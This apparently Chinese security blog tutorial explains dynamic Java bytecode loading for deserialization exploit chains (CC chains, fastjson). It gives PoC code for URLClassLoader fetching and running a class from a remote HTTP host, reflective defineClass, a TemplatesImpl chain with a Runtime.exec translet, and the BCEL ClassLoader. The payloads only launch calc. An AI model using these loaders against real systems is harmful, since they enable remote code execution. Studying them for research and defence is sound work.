在利用链的构建过程中,由于受到环境限制,Runtime 类无法被正常使用,因此无法再通过传统的 Runtime 方式来执行命令。为了解决这一问题,可以采用动态加载字节码的方式来实现命令的执行。这种方式通过将需要执行的代码以字节码的形式动态加载到内存中,并利用 Java 的类加载机制在运行时执行,从而绕过对 Runtime 的直接依赖。

基础部分

字节码

Java字节码是由Java编译器(如javac)将Java源代码(.java)编译而成。每个.class文件中包含的就是对应类的字节码指令。JVM负责解释执行这些字节码指令,从而实现Java程序的运行。

示例

Java类

1
2
3
4
5
public class HelloWorld {
public static void main(String[] args) {
System.out.println("Hello, World!");
}
}

经过编译生成HelloWorld.class

1
2
3
4
5
6
public static void main(java.lang.String[]);
Code:
0: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;
3: ldc #3 // String Hello, World!
5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V
8: return

Java字节码使得Java程序能够在任何安装了JVM的平台上运行,无需针对特定平台重新编译源代码。这是Java “一次编写,到处运行” 理念的核心。

类加载器

类加载器ClassLoader就是用来加载class文件的,它分为BootstrapClassLoader、ExtensionsClassLoader、AppClassLoader和自定义类加载器;这些加载器中存在双亲委派机制:在加载一个类时,先向上委派也就是向父类委派,如果父类无法加载,自己再加载,这样可以避免重复加载一个类。

类加载器加载代码顺序:静态代码块->构造代码块->无参构造器->有参构造器

示例

使用自定义的类加载器加载类

自定义类加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class CustomClassLoader extends ClassLoader {
private String classPath;

public CustomClassLoader(String classPath) {
this.classPath = classPath;
}

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] classData = loadClassData(name);
if (classData == null) {
throw new ClassNotFoundException();
} else {
return defineClass(name, classData, 0, classData.length);

}
}

private byte[] loadClassData(String className) {
String fileName = classPath + File.separatorChar + className.replace('.', File.separatorChar) + ".class";
try (FileInputStream fis = new FileInputStream(fileName);
ByteArrayOutputStream baos = new ByteArrayOutputStream()) {
int data;
while ((data = fis.read())!= -1) {
baos.write(data);
}
return baos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
}

使用我们自定义的类加载器动态加载HelloWorld.class并调用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class DynamicLoadingExample {
public static void main(String[] args) {
String classPath = "."; // 假设 HelloWorld.class 在当前目录下
CustomClassLoader customClassLoader = new CustomClassLoader(classPath);

try {
// 动态加载 HelloWorld 类
Class<?> clazz = customClassLoader.loadClass("HelloWorld");
// 创建 HelloWorld 类的实例
Object instance = clazz.getDeclaredConstructor().newInstance();
// 如果有方法名可以调用方法,我这里没写方法就没调用
clazz.getMethod("xxxx").invoke(instance);
} catch (Exception e) {
e.printStackTrace();
}
}
}

动态加载字节码

使用一些类加载器去加载恶意类从而达到执行命令

URLClassLoader加载class文件

java.net.URLClassLoader.class加载器可以用来file协议加载本地class文件和jar包里面的class还有http协议加载 class 文件。

  • URL 未以斜杠 / 结尾,则认为是一个 JAR 文件,使用 JarLoader 来寻找类,即为在 Jar 包中寻找 .class 文件
  • URL 以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找 .class 文件
  • URL 以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类

使用HTTP协议

编译
先ctrl+f9把java编译成class

1
2
3
4
5
6
7
import java.io.IOException;  

public class Hello {
public Hello() throws IOException {
Runtime.getRuntime().exec("calc");
}
}

Hello.class默认存放在项目的 out​​ 或 t​arget/classes​

并开启http服务

编写URLClassLoaer加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package classloader;  

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class urlclassloaderTest {
public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
URL url = new URL("http://8.138.80.175:8000/");
URLClassLoader classlaoder = new URLClassLoader(new URL[]{url});
Class clazz = classlaoder.loadClass("Hello");
clazz.newInstance();


}
}

运行后成功加载class

ClassLoader#defineClass加载字节码

加载class文件时会经历三个方法的调用 :
ClassLoader#loadClass->ClassLoader#findClass->ClassLoader#defineClass

  • loadClass​​:类加载的入口点,遵循双亲委派模型,先尝试让父类加载器加载类,如果失败则调用 findClass。
  • ​findClass​​:负责定位并读取类的字节码,然后调用 defineClass
  • ​defineClass​​:它负责将原始的字节码(通常是来自 .class文件的字节数组)转换成 JVM 能够识别和使用的 Class 对象。

跟进ClassLoader#defineClass方法看一下

发现接收四个参数:name为类名,b为字节码数组,off为偏移量,len为字节码数组的长度。我们可以利用defineClass()方法动态加载字节码,但是作用域为protected方法,因此通过反射给调用defineClass()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package classloader;  

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class defineclassTest {
public static void main(String[] args) throws NoSuchMethodException, IOException, InvocationTargetException, IllegalAccessException, InstantiationException {

ClassLoader classLoader = ClassLoader.getSystemClassLoader();
Class<ClassLoader> class1 = ClassLoader.class;
final Method method = class1.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\Hello.class"));
Class o = (Class) method.invoke(classLoader, "classloader.Hello", bytes,0, bytes.length);
o.newInstance();


}
}

关于代码中的最后一句 o.newInstance();
Class.forName("类名")默认会初始化被加载类的静态属性和方法,而ClassLoader.loadClass默认不会初始化类方法,static{}的代码也不会执行,因此需要通过newInstance()进行初始化,这样就会按顺序加载代码块。

这样我们就证明了Classloader#defineClass方法不出网加载字节码是能用的,但是由于它的作用域是protected,很难利用,因此如果想用这种方法加载字节码就需要找存在defineClass方法并且作用域能够访问的类(TemplatesImpl、unsafe)。

这就引出了TemplatesImpl加载字节码。

TemplatesImpl加载字节码

跟进TemplatesImpl类的内部类TransletClassLoader找到被重写的defineClass()方法

发现它的作用域为default,可以被同一个包内的其他类调用。

因此接下来我们需要继续往前找,找到一个完整的调用链。

还是老办法右键defineClass查找用法,找到defineTransletClasses()

跳转到defineTransletClasses(),继续查找用法,找到了getTransletInstance()

同时发现defineTransletClasses()方法中_bytecodes_tfactory不能为空,需要设置值。

跟进_tfactory看到,为了不让它为空后续给它new一个TransformerFactoryImpl

1
private transient TransformerFactoryImpl _tfactory = null;

跳转到getTransletInstance(),查找用法,找到 newTransformer

name不能为空否则返回null

跳转到newTransformer(),发现作用域为public,可以直接调用。

这样我们就找到了利用链,现在只需要构造字节码和写poc了。

构造字节码

TemplatesImpl中要求加载字节码对应类应为AbstractTranslet子类,因此字节码需要继承一下AbstractTranslet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TemplatesImplTest extends AbstractTranslet {
public void transform(DOM dom, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM dom, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException{}
public TemplatesImplTest() throws IOException {
super();
Runtime.getRuntime().exec("Calc");
}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package classloader;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class RunTemplatesImplTest {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException {
byte[] bytes = Files.readAllBytes(Paths.get("E:\\IDEA\\CC1\\target\\classes\\classloader\\TemplatesImplTest.class"));
final TemplatesImpl templates = new TemplatesImpl();
//给变量设置值
Setvalue(templates,"_name","jjxxx");
Setvalue(templates,"_bytecodes",new byte[][]{bytes});
Setvalue(templates,"_tfactory",new TransformerFactoryImpl());
//调用链头
templates.newTransformer();
}
//给变量设置值的方法
public static void Setvalue(Object classname, String valuename,Object value) throws IllegalAccessException, NoSuchFieldException {
final Field field = classname.getClass().getDeclaredField(valuename);
field.setAccessible(true);
field.set(classname,value);
}
}

细节问题

代码中没有用到newInstance(),是因为传进去的字节码被加载到了_class中

在getTransletInstance()中调用了 _class[_transletIndex].newInstance();,相当于已经执行了newInstance()。

fastjson利用时需要开启Feature.SupportNonPublicField

BCEL ClassLoader加载字节码

BCEL被包含在原生的JDK中,位于com.sun.org.apache.bcel包下。被放入原生JDK中是因为Java的XML功能遵循JAXP规范,而JDK自带的JAXP实现依赖于Apache Xerces和Apache Xalan。由于Apache Xalan依赖于BCEL进行字节码操作,因此BCEL也被集成到标准库中,以确保JAXP功能的完整性。

BCEL 提供 Repository 和 Utility两个类
 Repository 用于将一个Java Class 先转换成原生字节码,也可以直接使用javac命令来编译 java 文件生成字节码(和前文提到的ctrl+f9一个概念);
 Utility 用于将原生的字节码转换成BCEL格式的字节码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package classloader;  


import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class BCELtest {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass class1 = Repository.lookupClass(Hello.class);
String bcelencode = Utility.encode(class1.getBytes(), true);
System.out.println(bcelencode);
new ClassLoader().loadClass("$$BCEL$$"+bcelencode).newInstance();


}
}

为什么加$$BCEL$$
BCEL这个包中com.sun.org.apache.bcel.internal.util.ClassLoader,它重写了Java内置的ClassLoader#loadClass()方法会判断类名是否以$$BCEL$$开头;当类名以 $$BCEL$$ 开头时,该加载器会识别这一特殊前缀,并对后续的字符串进行解码操作。解码后的字节码将被用于动态定义和加载类。

在Java 8u251以后,该ClassLoader被删除了

总结

部分CC链由于Runtime被限制会用到动态加载字节码,同时在fastjson利用中,BCEL会配合BasicDataSource进行不出网利用。

参考链接

https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
https://drun1baby.top/2022/06/03/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-05-%E7%B1%BB%E7%9A%84%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD